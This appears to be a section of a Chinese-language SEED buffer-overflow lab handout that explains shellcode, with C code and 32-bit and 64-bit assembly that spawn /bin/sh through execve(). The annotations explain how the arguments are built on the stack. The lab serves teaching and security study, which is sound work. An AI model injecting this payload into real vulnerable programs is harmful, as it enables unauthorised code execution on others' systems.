Section outline

  • 缓冲区溢出攻击的最终目标是在目标程序中注入恶意代码,从而利用目标程序的权限执行此代码。Shellcode 在大多数代码注入攻击中被广泛使用。我们在本任务中将对其有所了解。
      • Shellcode 是基本的一段代码,用于启动一个 shell 程序。如果我们用 C 语言实现它,看起来会像下面这样:、

        #include <stdio.h>
        
        int main() {
           char *name[2];
        
           name[0] = "/bin/sh";
           name[1] = NULL;
           execve(name[0], name, NULL);
        }

        不幸的是,我们不能直接编译这段代码并将二进制文件作为我们的 shellcode 使用(关于此的详细解释在 SEED 书籍中有提供)。编写 Shellcode 的最佳方式是使用汇编语言。在这个实验中,我们仅提供了 Shellcode 的二进制版本而没有对其进行解释(这是因为比较复杂,具体可参阅 Shellcode 实验)

      • ; 将命令存放在栈上
        xor  eax, eax
        push eax          
        push "//sh"
        push "/bin"
        mov  ebx, esp     ; ebx --> "/bin//sh": execve()'s 第一个参数
        
        ; 构建 argument 数组 argv[]
        push eax          ; argv[1] = 0
        push ebx          ; argv[0] --> "/bin//sh"
        mov  ecx, esp     ; ecx --> argv[]: execve()'s 第二个参数
        
        ; 环境变量 
        xor  edx, edx     ; edx = 0: execve()'s 第三个参数
        
        ; 调用 execve()
        xor  eax, eax     ; 
        mov  al,  0x0b    ; execve()'s 系统调用号
        int  0x80

        上述 shellcode 实际上是通过调用 execve() 系统调用来执行 /bin/sh。 这里我们将提供非常简短的解释(具体可参阅 Shellcode 实验):

        • 将 "//sh" 推入栈而不是 "/sh",这是因为我们需要一个 32 位数字,而 "/sh" 只有 24 位。幸运的是,“//” 等同于 “/”,所以我们可以使用双斜杠符号来解决这个问题。

        • 需要通过寄存器 ebx、ecx 和 edx 分别传递给 execve() 三个参数, shellcode 的大部分内容就是构造这三个参数的内容。

        • 当我们将 al 设置为 0x0b 并执行 "int 0x80" 时调用系统调用 execve()。

      • 我们提供了一个示例的 64 位 shellcode,如下所示。它与 32 位 shellcode 非常相似,只是寄存器名称不同以及 execve() 系统调用所使用的寄存器也不同。我们在注释中进行了部分解释,并未提供详细的 shellcode 解释。
         
        xor  rdx, rdx        ; rdx = 0: execve()'s 第三个参数
        push rdx
        mov  rax, '/bin//sh' ; 要运行的命令
        push rax             ;
        mov  rdi, rsp        ; rdi --> "/bin//sh": execve()'s 第一个参数 
        push rdx             ; argv[1] = 0
        push rdi             ; argv[0] --> "/bin//sh"
        mov  rsi, rsp        ; rsi --> argv[]: execve()'s 第二个参数
        xor  rax, rax
        mov  al,  0x3b       ; execve()'s 系统调用号
        syscall